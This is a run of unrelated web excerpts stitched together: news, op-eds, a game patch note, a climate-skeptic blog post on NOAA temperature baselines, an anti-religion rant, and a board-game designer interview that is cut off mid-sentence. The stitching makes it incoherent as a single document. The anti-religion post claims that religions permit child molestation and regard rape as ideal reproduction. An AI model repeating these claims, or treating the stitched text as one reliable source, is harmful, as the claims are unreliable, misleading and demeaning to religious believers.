arts and culture co-organizers needed to split off in order to be productive.  Even after reaching the decision-making part of the conversation, general consensus is difficult to reach; the stakes are high when everyone is included. A recent Hyperallergic post noted the movement’s backlash against, for one, “No Comment,” a show that uses the standard “1%” exhibition format and may have included itself in the Occupennial to pay the rent. According to curator Marika Maiorova’s Kickstarter campaign, the previous 9/11 show didn’t get any foot traffic because of the protests and now needs to pay the bills. To be fair, it seems like the logical thing to do, but this is the sort of issue the Occupennial can expect in the future.  Another obvious but unstated challenge is whether the art world and the real world can actually get along. Using the people’s mic, one co-organizer announced, “Making a map [making a map] of artists who are struggling in New York [of artists who are struggling in New York] would be much more revolutionary [would be…] than another show of Kara Walker and friends..” To which another responded, “I’m happy if Kara Walker wants to do something. [I’m happy…] I’m also happy if my next door neighbor wants to do something”- this got a lot of upward-finger-wiggling, which means “I like.” Project proposals range from zombie face paint to what sounded like a high-production-value performance with projections and puppetry. One co-organizer reminded us, though, that this is a movement built by artists. “We all look the same,” he said, and, looking around, it was undeniably true.  Ben Davis published a piece on ArtInfo today on how Adbusters helped create Occupy Wall Street. His conclusion about the media mockery and cynicism directed at protestors was a comparison between The Economist’s practical suggestion of what to do in tough times (stick close to a rich person and hope they’ll take you on as a housekeeper) versus Adbusters’s impassioned-if-somewhat-clumsy climb for better solutions. He asks us,  …when it comes to addressing the reality of actual human beings in 2011, who is really deserving of your scorn? The people with the “reasonable” ideas or the people who have seen how crummy these ideas are, and decided to open a whole new conversation?  This is the spirit of the art movement. The only criterion for a project to pass is that it does not raise any serious ethical conflicts with the movement, and the sole job of the exhibition curator will be to include as broad a scope of work as possible. The point is not to make a show for the canon, though some great work may be enabled, even by academia’s standards. The point is to talk to everyone, which requires all of it – from Kara Walker to zombies.
-A sailor who refused to stand for morning colors may now face administrative action, Military.com reported late Wednesday.  Naval Education and Training Command spokeswoman Lt. Cmdr. Kate Meadows did not detail the specific actions the Navy is taking against the young, African-American sailor.  The young woman is training at the Naval Air Technical Training Center in Pensacola, Fla., and is expected to continue training with her class.  She sailor posted an eight-minute video to Facebook late last month explaining why she was following in the footsteps of San Francisco 49ers quarterback Colin Kaepernick by not standing during the national anthem. The woman cited the now-defunct third stanza of the song and instead of stopping in place and standing during the morning command, she took a seat and raised her fist in the air, a symbol of the Black Power movement.  "[The stanza] basically says land of the free, home of the brave, except for hirelings and slaves and I just can't support anything like that," the sailor said. "I think Colin had a really good point when he said we had bodies in the streets."  The sailor said she will not stand for the anthem "until this country shows they've got my back as a black woman."
-Taking RPG to the Next Level #SRPG  Greetings Lords, this is Fantasy War Tactics Support Team!  We are here to announce the Patch note for Aug.24 (Wed).  ■ Patch Summary  1. Patch Period: Aug.24.2016 (Wed) 23:00 p.m. ~ Aug.25.2016 (Thu) 02:00 a.m. (Approx. 3 hrs) UTC+0  2. Patch Type: Build Update  3. Version: AOS 534.2 / iOS 0.534  ■ Patch Details  [Update Instructions]  1. After the server maintenance, there will be an update related data patch. To avoid unnecessary phone data usage, we recommend you to use the “Wi-Fi”.  2. If the game doesn’t update itself on login, please update the game through the market “Manually”.  3. If you only see [Open] button instead of an [Update] button in Google Play Store, use the “Settings > General > Apps > Play Store > Clear Data Storage” function and try again.  [Added Game Contents]  1. Added September Tower of Dawn  - Period: 09.01(Thu) 00:00 ~ 09.30(Fri) 23:59 (UTC +0)  2. Added attendance reward for September  - Period: 09.01(Thu) 00:00 ~ 10.01(Sat) 04:59 (Local Time)  [Events]  1. [Yeka’s Jewel Box] Package available for purchase  (1) Period: Aug.25.2016 (Thu) After Maintenance ~ Sep.7 (Wed) 13:59 (Local Time)  (2) Purchase Detail: From [Lobby], click [Package] on the top left corner to purchase [Yeka’s Jewel Box]  (3) Please Note: Can be purchased 2 times per account  (4) Package Detail  2. Event Shop: ‘Medal of Passion’ Shop Period will be changed.  [Improvements]  1. Library in the Sky: Defense Mode has been improved.  - Stages have been reduced for the second dungeon from 200 to 50.  - Stage Clear Rewards have been changed according to the stage reduction.  - Movement AI for Heroes in ‘Library in the Sky’ has been improved.  [Changed Details]  1. Seal (Disarm) Immune Effect has been added to the boss monsters in Dark Fortress.  2. Seal (Disarm) Immune Effect has been added to the monsters in Library in the Sky.  [Bug Fix]  1. Gold reward value will be displayed correctly in ‘Dungeon result’ screen. (‘Per grade gold reward’ will no longer be added to the actual amount.)  2. Typos and colors of Xigncode Pop-up message (displayed when incomplete program is detected) have been fixed.  3. ‘Mustache Island’s Completion Rate 100%’ achievement will be completed without an error.  4. Set Item: Persona's Trick set effect will be fixed.  5. ‘Some Heroes not being able to move in Dungeons While in Auto-mode’ error has been fixed.  [iOS – Last week’s AOS Selective Build Update contents are included in this week’s iOS Build]  1. Add BGM for Library in the Sky.  2. Words will be displayed correctly when entering guild raid with only 4 members.  3. 'Library in the Sky' Menus will be displayed correctly for English, Traditional Chinese and Thai users.  Thank you.
-In fact, as the television critic Sina Kologlu pointed out in an interview in Istanbul this week, the trailer bears a striking resemblance to the real-life testimonies of child brides around the country interviewed for a documentary film by women’s rights activists being released next week.  The film, entitled “Child Brides,” is the result of an 18-month information and awareness campaign conducted by the “Flying Broom” women’s rights group, which included seminars, conferences and meetings with local officials and families around the country, as well as a book and an academic research project.  “I was 13 years old when I was married off to a 30-year-old man I had never seen,” a woman, now 37, told campaigners at one of these meetings in the southeastern province of Van. “I always remained afraid of him.”  “I was married at 16,” another recounted at a meeting in Izmir, while other women spoke of violence, abuse and misery in testimonies collected in the campaign’s book. “We have spent 20 years in silence. We are still strangers to each other.”  A national average of 28 percent of Turkish women are married before the age of 18, Yildiz Ecevit, a sociology professor at Middle Eastern Technical University, told a parliamentary committee hearing on child brides in Ankara last month.  But regional differences mean that as many as 40 percent or 50 percent of girls are married off as minors in some parts of the country, particularly in eastern and central Anatolia, she added.  Reliable figures on child brides are hard to come by, a parliamentary commission said in a report last year, because official statistics do not register the unofficial religious marriages still prevalent in much of Anatolia. Childhood marriages are “widely accepted” by Turkish society, the report by the Commission on Equality of Opportunity for Women and Men found.  Advertisement Continue reading the main story  Girls are married off early to minimize the economic burden on their family as well as the risk of any sexual contact before marriage, with the bride price that is still paid in many regions as an additional incentive, the commission report revealed.  As further causes, the report pointed to deeply rooted customs like the exchange of brides between two families, the betrothal of babies at birth, the giving of girls as brides to settle blood feuds, and the continued practice of polygamy in some regions.  In addition, girls who have been raped or molested are quickly married off to the rapist or any other man to preserve family honor, the report noted.  Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content , updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.  The commission slammed child marriages as “violations of children’s rights, women’s rights and human rights,” pinpointing the practice as a prime cause of domestic violence, infant mortality and gender inequality.  “State institutions do not yet address this problem sufficiently,” the report found.  Selen Dogan, project coordinator of the “Flying Broom” campaign, agrees.  “Almost all local officials we spoke to at our conferences around the country agreed that this practice is a bad thing, but no one had ever done anything about it,” Ms. Dogan said in an interview.  The campaign had made some inroads, she said, reaching 20,000 people directly and many others via media reports and a hearing in Parliament last month, the culmination of the project.  “This cannot continue. We must do something about this immediately,” Fatma Sahin, the government minister in charge of family affairs, said at the hearing, pointing out that Turkish laws do not even agree on the definition of a child: The civil code defines a person as a child until the age of 17, the criminal code until 15 and the child protection law until 18.  Ms. Sahin announced that her ministry had recently signed an agreement with the Religious Affairs Department, under which the 60,000 imams employed by the department around the country would endeavor to teach their flocks that child marriages have no place in Islam.  Advertisement Continue reading the main story  Ms. Dogan, the activist, hopes the television soap opera “Life Goes On” will spread a similarly enlightened message. “It could have a positive effect, but it all depends on the screenplay,” she said.  “Will the girl manage to get out of the marriage, is she strong, can she liberate herself? That would be a good thing. But if it turns out to be just another depiction of a destiny to be borne, then it will be a setback.”  The production company had contacted the “Flying Broom” as a courtesy, but not sought their advice for the screenplay, Ms. Dogan added.  Mr. Kirmizigul, a former crooner from the Kurdish southeast of the country, has directed several movies, including the 2009 film “I Saw the Sun” about the plight of a Kurdish family racked by the armed conflict in southeastern Turkey, which brought the suffering of the region’s population home to a wider Turkish audience.  “Life Goes On” is his first attempt at a television series.  Mr. Kirmizigul, who has not spoken to the press in three years, according to his publicist, declined to be interviewed for this article.  Women’s issues like rape and domestic violence have become an increasingly popular subject of Turkish soap operas over the past two to three years.  While some series initially adopted a chauvinistic point of view, pressure from women’s rights groups had caused a shift in perspective, in some cases even within an ongoing series, Mr. Kologlu, the television critic, said, citing the rape-themed series “What Is Fatmagul Guilty Of?” as an example.  As for “Life Goes On,” expectations are high, Mr. Kologlu said.  “From what I have seen, it will be an ambitious work, technically striking, a very lavish production,” he said. “The question is whether it will fulfill expectations when it comes to the content, the message.”
-WA Labor attacks Dean Nalder's tunnel plan, labels Government transport planning 'chaotic'  Posted  Labor has used the Transport Minister's idea of constructing tunnels under Perth's main roads to ease congestion to paint the Government's transport planning as chaotic.  Transport Minister Dean Nalder believes tunnels constructed beneath existing roads would be part of a long-term solution to manage congestion.  But the Opposition has attacked the Minister in Parliament, accusing the Government of failing to have a clear plan for meeting Perth's transport needs.  "Transport is one of the most important things confronting our city and our state," Opposition Leader Mark McGowan said.  "Transport is a long-term issue for our state.  "There is no integrated or coordinated plan from the Government whatsoever."  WA transport planning 'mayhem'  Mr McGowan described how major transport initiatives like Max Light Rail had been delayed and fundamentally changed, from light rail, to rapid transit buses, and possibly to heavy rail.  He cited the trouble-plagued Perth Freight Link, which had been scaled back from reaching the Fremantle Port, only to be shelved for at least 12 months after the Supreme Court found environmental approvals were invalid.  "I've just given a small snapshot over the past two years of the twisting and turning, of the pandemonium, in transport planning in Western Australia," he said.  "And today's story [on tunnelling] is just another example of that mayhem that is going on in transport planning in Western Australia."  Mr Nalder countered the barrage of Opposition criticism, arguing proof of the Government's plan was in projects already being built, on time and ahead of budget.  "Those opposite would have you believe that we don't have a plan, but I can tell you that when you actually look at what is being delivered, you can actually see these things coming together," he said.  Mr Nalder said even huge projects like the billion-dollar Gateway interchange near Perth Airport had been completed ahead of time and under budget.  He contrasted that with the Opposition's MetroNet plan for building more rail lines, more train stations, and fixing level crossings across the city.  Without costings and deadlines, Mr Nalder does not believe Labor could afford it.  "How? How are they actually going to do it?" he said.  "I believe that the transport plan they have opposite is just not credible at all."  Topics: government-and-politics, transport, perth-6000
-A couple became a victim of road rage while on their way to Matunga on Sunday afternoon and were assaulted by a group of 15 to 20 men reportedly from the Nagpada Police Lines.Bilal Khan, 31 and his wife Zara, were on a bike at the traffic signal on Shepherd Road on their way to a friend's place in Matunga for a party when a speeding Santro bruised Zara's leg, who was riding pillion.“I stopped the bike and told the car driver not to drive at such a high speed and that it could have been dangerous. The driver stepped out and started abusing me, while his co-passenger ran inside Saboo Siddiqui lane. Suddenly, there were around 15 to 20 men surrounding me. I rushed inside the nearby petrol pump for help,“ said Khan.He added, “I told Zara to stay away while I took hold of the petrol dispensing nozzle and threatened my attackers in a bid to fend them off. During this, a man who introduced himself as a cop from Nagpada police station approached and asked me to turn the nozzle off and took it away from me.“Khan said the moment he gave the nozzle to the cop, the men waiting behind him pounced on him and started assaulting him with whatever they could lay their hands on. “One of them hit me with the cash box of the petrol pump, and I fell to the ground unconscious. They kept hitting me. Zara pleaded with the locals who had gathered to help me, but no one did. After some time, I got up and went to JJ Hospital for treatment,“ he added.Khan, who underwent x-ray scans, suffered internal bleeding in his stomach and back. He had also suffered contusions and an injury to his head. After the medical check-up, the couple approached Nagapada police station.The Nagpada police registered an FIR against 18-20 people. The prime accused is the duo in the car, booked for assault, mischief, causing damage and molestation under IPC sections 324, 427, 354. Police also picked up some of the accused late Sunday night, and some were identified by the complainant.
-Someone writes a memo about his views on gender difference and it kicks off. Apparently women are in tears, too traumatised to go to work. A baker refuses to ice a wedding cake for two guys and my Twitter feed practically bursts into flames. “HOW CAN THIS BE HAPPENING?!”  But mention the climate crisis, something that is smashing temperature records, raising sea levels, driving diseases into places they’ve not been before, and which may lead, as Professor Stephen Hawking suggests, to a need for the human race to flee the planet, and there’s radio silence. You can almost see the digital tumbleweed.  The year Trump was elected was so hot, it was 1-in-a-million | Dana Nuccitelli Read more  Nearly 30 years after Nasa’s James Hansen testified before a US Senate committee that human activity was warming the planet and must be stopped, it seems the issue does not stir the general population. Partly it’s because of the tens of corporate millions spent by the biggest polluters to create doubt that stalls legislation. That lobbying has worked. Trump said he believes the Chinese made it up, perfectly playing to the right’s paranoia, even as the sand their heads are buried in is getting so hot it would cook an ostrich egg.  But what is surprising is that the left are not more fired up about the climate crisis. In the UK, commentators such as Katie Hopkins imply that the only people who care are hysterical lefty shills. Of course lots of people, on the left and right do care, more than ever. After all, this is an issue of science and survival and we all have the same to lose. But in my experience, many on the left who should care more about climate change just don’t. People who are extremely vocal about homophobia, transphobia, racism and sexism seem to have a blind spot. Which is odd because in the coming decades, all those problems (and more) will be supersized.  Peter Tatchell has long warned that tolerance does not always survive periods of social turbulence. Violent hatred bubbles just under the surface in society. On the day same sex marriage began in the UK, for example, one relatively intelligently argued comment under a newspaper article concluded that what we needed to stop men marrying men and women marrying women was “a civil war”.  Such people are kept at bay – just – by stable societies; by the rule of law; by the fact that the majority of us have a roof over our heads, relative security and three meals a day. But there is plenty of historical evidence to suggest that under stress, civilisation wobbles. Minorities get it harder and sooner. Berlin, infamously, pre-Nazism was a centre of gay freedom. A few years later its gay citizens were in concentration camps. Trump’s transgender military ban comes just six months after the presidency of the most LGBT-friendly commander-in-chief in history.  Does Trump really think trans people shouldn’t serve? Or is he simply cynical and savvy enough to know his base will be appeased, as they always are, by a kick to those on the fringe?  This is not a case of either/or – but for too long, too many progressives have stayed silent over climate change.  People are killed because they are of colour, women, trans, gays or lesbians. These are among the most important issues. But could it be that there are things that we must also raise our voices for, that are more important and on which all other issues rest and rely? The DUP’s position on equal marriage, the BBC gender pay gap, Piers Morgan’s views on non-binary people – all are meaningless if the fight that future generations face is for clean water or surviving wars caused by migration that will make the Syrian crisis, itself partly driven by extreme drought, look like a children’s tea party. We must wake up and take responsibility. This is not a case of either/or – it is possible to campaign on multiple issues at the same time, but for too long, too many progressives have stayed silent over climate change.  We can start to change that by watching Al Gore’s new film An Inconvenient Sequel this weekend. There’s no one left to warn us: scientists and politicians have done so, the Earth itself could not be clearer: this week in Iraq birds are falling from the sky as the country suffers through 50C heat. Spain has just broken its all-time temperature record, hitting a shocking 46C amid a European heatwave named Lucifer. We are on the verge of something literally unimaginable from which scientists say there will be no way back. We have been warned, over and over again. We will only have ourselves to blame.  • Matthew Todd is a former editor of Attitude magazine and the author of Straight Jacket: How to be gay and happy
-"Fair, effective, sex assault investigations take time and cannot be handled by investigators under pressure to rush to a particular conclusion due to financial pressures on the university," writes Boulder DA Stan Garnett. (Matthew Jonas / Staff Photographer)  As a person who deals with the issue of sex assault on campus , it seems appropriate for me to offer some opinions in the context of Congressman Polis's remarks and the discussion they have engendered.  First, it is important that we be clear what is being discussed. Sex assault is a very serious crime. Most sex assaults in Colorado are at least class 4 felonies, potentially punishable by many years in prison, mandatory registration as a sex offender, court-ordered sex offender treatment and large fines, as well as the life-changing consequences of a felony conviction.  Our criminal justice system has developed effective protections and strategies to assure fair and honorable investigation, charging and prosecution of sex offenses, carefully balancing the rights of the accused with the rights of a victim. Though law enforcement sometimes fails to act quickly and appropriately (some cite the recent reported problems in Jon Krakauer's book, "Missoula"), a well-run district attorney's office is fully capable of reviewing, investigating, filing and prosecuting cases when a conviction is appropriate. Failure of law enforcement to handle these cases appropriately is normally due to one (or both) of two common problems:  Advertisement  1. Lack of commitment to sex assault prosecution by a district attorney's office (a problem most often solved through the political process of electing a different DA), or,  2. Lack of expert training in sex assault on the part of investigators and prosecutors.  In Boulder's 20th Judicial District, we have some of the best expert sex assault prosecutors in the USA, led by nationally-recognized Chief Trial Deputy Katharina Booth. Our lawyers, investigators and victim advocates not only receive regular training but help to train others around the country. Their trial record on tough sex assault prosecutions is second to none.  Although universities adjudicate student discipline, it is a serious mistake to equate investigation and resolution of felony sex assault with cheating on a test or drinking or smoking in a dorm room or the other normal fodder of the university discipline process, where due process on some level is important, but of an entirely different quality than the criminal justice system provides.  We should never tolerate the adjudication of serious felony behavior outside the criminal justice system. There are many reasons:  1. The risk of wrongful conviction is too great. The rigorous due process of the criminal justice system exists for mainly one reason: to make sure society can have confidence that one who is found guilty is, in fact, guilty. Relaxing due process, or having investigations not handled by well-trained professionals can lead to wrongful conviction.  2. The risk of traumatizing victims of sex assault. Interview and handling of victims and witnesses in sex crimes requires skill, sensitivity and time. Clumsy or repeated interviews can be traumatic for victims.  3. Those guilty of serious felony behavior present a societal risk, not just a campus risk. To suggest that sex assault on campus is primarily a campus problem is just plain wrong: it is a societal problem and deserves a societal response through the criminal justice system.  4. The criminal justice system is public and the public can observe, evaluate and criticize the proceedings. University conduct investigations carry the inherent secrecy of the discipline process, which can leave the public questioning the fairness of an investigation and the accuracy of the determinations.  The federal government's decision to tie campus funding to a one size fits all investigative approach can interfere with criminal investigations. Fair, effective, sex assault investigations take time and cannot be handled by investigators under pressure to rush to a particular conclusion due to financial pressures on the university. Also, "warning letters" or warning bulletins, or campus-based "stay away from each other" orders can, if issued prematurely, prevent law enforcement from determining the truth of alleged criminal behavior.  Because campus-based sex assaults are a serious problem, communities should demand that their criminal justice systems be up to the task of investigating and prosecuting these cases. It is no solution to put in place a secret, "shadow" adjudication system under the guise of student conduct investigations that does not have the protections and reliability of the American justice system.  Stan Garnett is district attorney of Colorado's 20th Judicial District, headquartered in Boulder.
-BHOPAL: More than six months on, officials of the social justice department are still 'verifying', 4 lakh pensioners who were found untraceable by Samagra (online identity card) scheme."There could be some duplications or some other reasons. We are screening the list and after verification removing duplicates from the list. Screening will be completed by November and only then course of action it any would be decided," commissioner social justice, V S Niranjan told TOI.Government records suggest that 31,62,087 beneficiaries are registered and they receive pension under various scheme including Indira Gandhi national old age pension, Indira Gandhi national widow pension, Indira Gandhi national disability pension, social security pension and financial assistance for mentally retarded and kanya abhibhawak pension . These beneficiaries get a pension amount of Rs 300 and Rs 500 as per monthIt is learnt that on verification of beneficiaries undertaken by the department only 27,44,028 pensioners could be verified. Remaining 4,18,059 could not be traced or contacted.An officer from the Samagra mission said that Samagra is a system and its idea is to create a data base to bring in transparency. Physical verification rests with the concerned departments which are disbursing funds.However, officials of the social justice department claimed there could hardly be any issue with the misappropriation of funds as from last two years funds are being paid directly through the funds transfer scheme.Department has stopped payment of pensions to the beneficiaries who are missing or remained untraceable from May this year.
-This from NOAA, which I missed last week while I was at ICCC6. But wait, there’s more! Have a look at the maps I produced below the “Continue reading>” line using NOAA’s own tools.  Average U.S. temperature increases by 0.5 degrees F  New 1981-2010 ‘normals’ to be released this week  Statewide changes in annual “normal temperatures” (1981 – 2010 compared to 1971 – 2000). Download here. (Credit: NOAA)  According to the 1981-2010 normals to be released by NOAA’s National Climatic Data Center (NCDC) on July 1, temperatures across the United States were on average, approximately 0.5 degree F warmer than the 1971-2000 time period.  Normals serve as a 30 year baseline average of important climate variables that are used to understand average climate conditions at any location and serve as a consistent point of reference. The new normals update the 30-year averages of climatological variables, including average temperature and precipitation for more than 7,500 locations across the United States. This once-a-decade update will replace the current 1971–2000 normals.  In the continental United States, every state’s annual maximum and minimum temperature increased on average. “The climate of the 2000s is about 1.5 degree F warmer than the 1970s, so we would expect the updated 30-year normals to be warmer,” said Thomas R. Karl, L.H.D., NCDC director.  Using standards established by the World Meteorological Organization, the 30-year normals are used to compare current climate conditions with recent history. Local weathercasters traditionally use normals for comparisons with the day’s weather conditions.  In addition to their application in the weather sector, normals are used extensively by electric and gas companies for short- and long-term energy use projections. NOAA’s normals are also used by some states as the standard benchmark by which they determine the statewide rate that utilities are allowed to charge their customers.  The agricultural sector also heavily depends on normals. Farmers rely on normals to help make decisions on both crop selection and planting times. Agribusinesses use normals to monitor “departures from normal conditions” throughout the growing season and to assess past and current crop yields.  NCDC made many improvements and additions to the scientific methodology used to calculate the 1981-2010 normals. They include improved scientific quality control and statistical techniques. Comparisons to previous normals take these new techniques into account. The 1981-2010 normals provide a more comprehensive suite of precipitation and snowfall statistics. In addition, NCDC is providing hourly normals for more than 250 stations at the request of users, such as the energy industry.  Some of the key climate normals include: monthly and daily maximum temperature; monthly and daily minimum temperature; daily and monthly precipitation and snowfall statistics; and daily and monthly heating and cooling degree days. The 1981-2010 climate normals is one of the suite of climate services NOAA provides government, business and community leaders so they can make informed decisions. NOAA and its predecessor agencies have been providing updated 30-year normals once every decade since the 1921-1950 normals were released in 1956.  NOAA’s mission is to understand and predict changes in the Earth’s environment, from the depths of the ocean to the surface of the sun, and to conserve and manage our coastal and marine resources. Join us on Facebook, Twitter and our other social media channels.  ==============================================================  The interesting thing about baselines, is that by choosing your baseline, you can make an anomaly from that baseline look like just about anything you want it to be. For example, at the NOAA Earth System Research Laboratory, they offer a handy dandy map creator for US Climate Divisions that allows you to choose the baseline period (from a predetermined set they offer), including the new 1981-2010 normals released on July 1st.  Here are some examples I get simply by changing the base period.  Here’s the most current (new) base period of 1981-2010. Doesn’t look so bad does it?  Now if we plot the entire period, look out, we are on fire! Global warming is running amok!  Oh, wait, look at the scale. Looks like about 0.08 to 0.13F warming. The ESRL plotting system arbitrarily assigns a range to the scale, based on data magnitude, but keeps the same color range.  The point of this? Temperature anomalies can be anything you want them to be, and by their nature of forcing a choice of baseline, forces you to cherrypick choose periods in your presentation of the data. The choice is up to the publisher.  Now the next question is, with NOAA/NCDC following standard WMO procedure (Roy Spencer at UAH did a few months back also) for a new 30 year base period, will NASA GISS start using a modern normals baseline for their publicly presented default graphs rather than the cooler and long outdated 1951-1980 for the press releases and graphs they foist on the media? Of course for a variety of reasons, they’ll tell you no. But it is interesting to see the rest of the world moving on while GISS remains stoically static. In case you are wondering, here is the offset difference based on the 1951-1990 vs the 1951-1980 base period used. This will of course change again with a more recent baseline, such as NOAA has adopted. While the slope won’t change the magnitude offset will. More here.  The issue is about public presentation of data. I figure if making such a baseline change is something NOAA does, should not NASA follow in the materials they release to the press?  Anomalies – any way you want them:  Advertisements  Share this: Print  Email  Twitter  Facebook  Pinterest  LinkedIn  Reddit
-The Nature of What Religion Demands  In this post I shall describe the most important and critical demands of religion. Once this has been done one would have little difficulty understanding why fighting religion is a worthy cause.  The religions’ main interest lies in the contents of one’s skull as well as underwear. Religion has great interest in those areas and commands the believer:  THOU SHALT USE NEITHER OF THEM.  ( Finding the your way to your place of worship and molesting under age kids are among the few exception that the Gods of desert were kind enough to make)  Religion exclusively relies on faith to justify itself. This means to exempt its claim from being investigated by means of scientific method and philosophical inquiry. Religion demands the believer to believe and not to question. It requires full slavery and submission of one’s faculty of reasoning. It’s impossible for a believer to question any of the claims of his/her religion. The moment that one has dared to question any of the mad claims of religion, is the moment in which one has made himself/herself qualified for eternal damnation. The utter feeling of guilt would dominate one’s mind if one is to commit an act which has some flavours of heresy. This is the key to survival of religion. Once one decides to rationally examine the arrogant, false, absurd, ridiculous and barbaric claims that three monotheistic dogmas make, it’d be inevitable to reach the conclusion that the very fundamental doctrines of these dogmas are nothing but barking mad.  Another major problem with religion is to dress one of the most vicious vices as a virtue, that is to make the false claim that celibacy, or at least chastity, is a virtue. This is because Big Brother wants your love. He wants you to dedicate your entire love to him and not to anyone else. He demands you to be the only thing that is truly loved. As Orwell said, “It’s not enough to obey the Big Brother you must love him” . Religion demands all of one’s love to be dedicated to the blood thirsty God of desert and no one else is to compete for it. This explains religions’ obsession with celibacy and its failure to condemn rape, since rape is a violent act and involves no love, so in the eye of the God of desert it’s the perfect method for reproduction. This is among the many reasons why each time I hear the name of any of the main theistic dogmas I run the risk of choking on my own vomit.  The way that religion has poisoned the attitude of society towards sex is also of great importance. I will, however, refrain from discussing it as it can’t be said better than how Bertrand Russell explains in his “Why I’m not a Christian”.  The price of what religion asks for is simply too high, and we can’t afford paying it. A society in which everyone thinks the same and there is no love for our fellow human beings would be too similar to Orwell’s nightmare vision of “1984” .  Advertisements
-When SpaceCorp was announced on the P500 for GMT Games in November, I immediately added it to my growing list. A Sci-Fi themed game from GMT designed by the great John Butterfield? An easy decision for me as I have played and love some of his other designs, including D-Day at Tarawa from Decision Games. I reached out to John for an interview earlier this year, but due to schedules and other considerations, we just couldn’t get together. But now, we have finally finished up the interview and are ready to share more about the game. All graphics used in the interview are playtest versions. Nothing has been finalized yet.  Grant: You usually design great wargames. What sparked your interest in designing a Sci-Fi themed game like SpaceCorp?  John: I love the subject matter of human expansion out to the stars and have wanted to design a light multi-player space exploration and development game for quite some time. Besides, my game design credits include such science fiction titles as Stargate, Freedom in the Galaxy, Voyage of the Pandora, Universe and Delta Vee.  Grant: What was your inspiration for SpaceCorp?  J ohn: I made a few unsuccessful attempts over the years to design a game on civilization building in the stars, inspired by the Avalon Hill game Civilization. Two years ago, it occurred to me to focus on just the first steps of that story – exploration of the Solar System and the nearby stars. As I developed the idea, I read the book SpaceCorp, the first volume in the Galactican series by Ejner Fulsang, leading me to focus on corporate competition, exotic elements and the search for exo-DNA as driving motivations.  Grant: The game appears to be played over three eras. Why did you design the game with a separate board for each era? What does this element add to the gameplay? What are the changes in game play from Era 1 to 2 and then Era 2 to 3?  John: Three reasons for this approach:  • First is the vast difference in scale between exploring the solar system and the nearby stars, too much difference to depict on one board. The three boards telescope in scale: From Earth to Mars, then the entire solar system, then the stars within 15 light years of Sol.  • Second is inspiration from the game 7 Wonders. That game occurs over three rounds of play each in a different era with its own deck of cards – a simple way to immerse players in cultural and technological advancements. SpaceCorp similarly occurs in three “Acts”.  • Three Eras allow the introduction of more advanced play in stages. The first Era introduces the basic concepts of the game. The second Era adds travel between remote planets, radiation penalties, genetic advancements and tech breakthroughs. The third Era introduces interstellar travel, generational time and colonies.  Grant: What do the regions represent on the game boards?  John: A region represents a large area of space, growing in scale from board to board. A region may have one or more sites. For example, on the Planeteers Board (Era 2) the Jupiter Region has four sites, one for each of Jupiter’s four largest moons; while the Neptune Region has just one site, the moon Triton.  Grant: One thing I’m curious about is why a distance chart showing distance between sites is necessary? Also, how does movement work?  John: Players play movement cards of varying values to move their pieces, called teams, from site to site on the board. The total value of the cards played must equal or exceed the distance of the move, calculated by adding up the values shown on regional borders, plus one for leaving and arriving at a site in a region. The chart on the board shows distances to all sites from the starting site (Earth in Era 1), to save players calculation time. When moving between sites other than Earth, players make the calculations.  Grant: What are the various actions that are available to players? How are Action Cards used?  John: In each of their turns, the player plays cards from their hands to perform one of the following actions: Move a team, explore a site, build a base at an explored site, research (draw new cards), upgrade (place a card on your HQ as infrastructure), produce (gain profit from sites with production capability), genetics (advance your genetics marker toward the goal of gaining adaptations), revelations (toward the goal of gaining tech breakthroughs) and establish a colony (in the Starfarers Era).  Grant: How are discovery tiles used on the game board? What type of discoveries can be found on Discovery Tiles? What type of immediate awards are there?  John: When a player performs the Explore action, they draw a discovery tile and places it on a site occupied by one of their teams. The discovery tiles reveal such finds as exotic elements, water, abundant ores, microbial life and natural wonders. Tiles include benefits such as immediate profit awards, or a modifier to the cost to build a base on the site, advances to genetics or technology, or a production value which the player can convert to profit after building a base on the site.  Grant: Please describe the HQ board and what is tracked on it? What type of technologies are available for players?  John: The primary purpose of these player mats, called HQs, is to hold cards played as infrastructure, infra for short. Certain cards offer an option to be played as an upgrade infra action. When a player does so, they place the card on their HQ instead of playing it as a one-time action. Infra can be used by the player on an ongoing basis whenever performing an action of the type shown on the infra card. Players can play cards as infra to upgrade their move, build and explore actions. For example, a Move 2 card played as infra then gives the player a +2 to every subsequent move action.  Grant: What are Edges and how are they used?  John: Edges are special cards playable at specified times outside the normal action sequence. An Edge may allow you to steal a card, take an extra turn, block another player’s action, or gain extra profit for a contract.  Grant: What is the purpose of bases and how do they boost values of specific actions?  John: Building a base is the third action in the sequence of developing a site in SpaceCorp. First you move a team to a site, such as Phobos, then the team explores the site, revealing discoveries. Finally, you conduct an action to build a base on the explored site. Bases represent your permanent presence on the site and allow you to conduct actions originating at the site such as production (if you discovered resources on the site) or moving your team from there to an unexplored site. The only action a team can perform when on a site without a base is to move back to a site with a base. There are nine different base types players can build, each with prerequisites and additional benefits. For example, you can build a Spaceport base at a site with no gravity. A spaceport adds to the allowed distance of a move action from a site. A refinery base can be built on a site with resources and increases the profit from production performed there.  Grant: I understand that if you use another player’s base they receive rewards. Why was this included in the design?  John: Although the players are in competition with each other, they are also doing business with each other. Players can use other player’s bases and infra. You might need to use another players spaceport to gain the extra move value you need to move your team to a remote site. Or you might use another player’s build infra to amass the build value needed to construct a base. When a player uses your base or infra you are rewarded with a free card draw. Nothing is free.  Grant: How does an Era end and what happens if the game is to continue?  John: Each Era ends when the players have fulfilled six of the seven contracts available in that Era OR when the Era’s card deck runs out, whichever occurs first. When an Era ends, players retain their infrastructure played, their profit, and the production capability of one base per player. Also, players who explored the furthest in the completed Era will begin the next Era with a head start via advantageous placement of their teams. The completed board is then cleared of pieces and the board for the next Era is set up.  Grant: How do players win the game? Are victory points scored throughout or only at the end? What type of goals do they have such as contracts, etc.?  John: The player with the most profit wins the game. There are several ways to gain profit – discoveries, producing resources, being the first to achieve genetic or technological breakthroughs and fulfilling contracts. Each Era has seven contracts offering profit for the first base built on Mars, or bases built in three regions beyond Jupiter, for certain combination of infra upgrades, and various other objectives. In the third Era, interstellar colonies can generate profit, depending on the type of colony established. At the end of the game, players earn additional profit based on the number of colonies established.  Grant: What game variants are included? How does the solo variant work?  John: Players can choose to start and end the game with any of the three Eras. This allows play of short games consisting of a single Era lasting about an hour, or games of two Eras, or the full three Era game, lasting about four hours.  Solo SpaceCorp is played as one continuous game through all three Eras. You play your side exactly as you would in the multi-player game, while the actions of competing organizations are represented by the 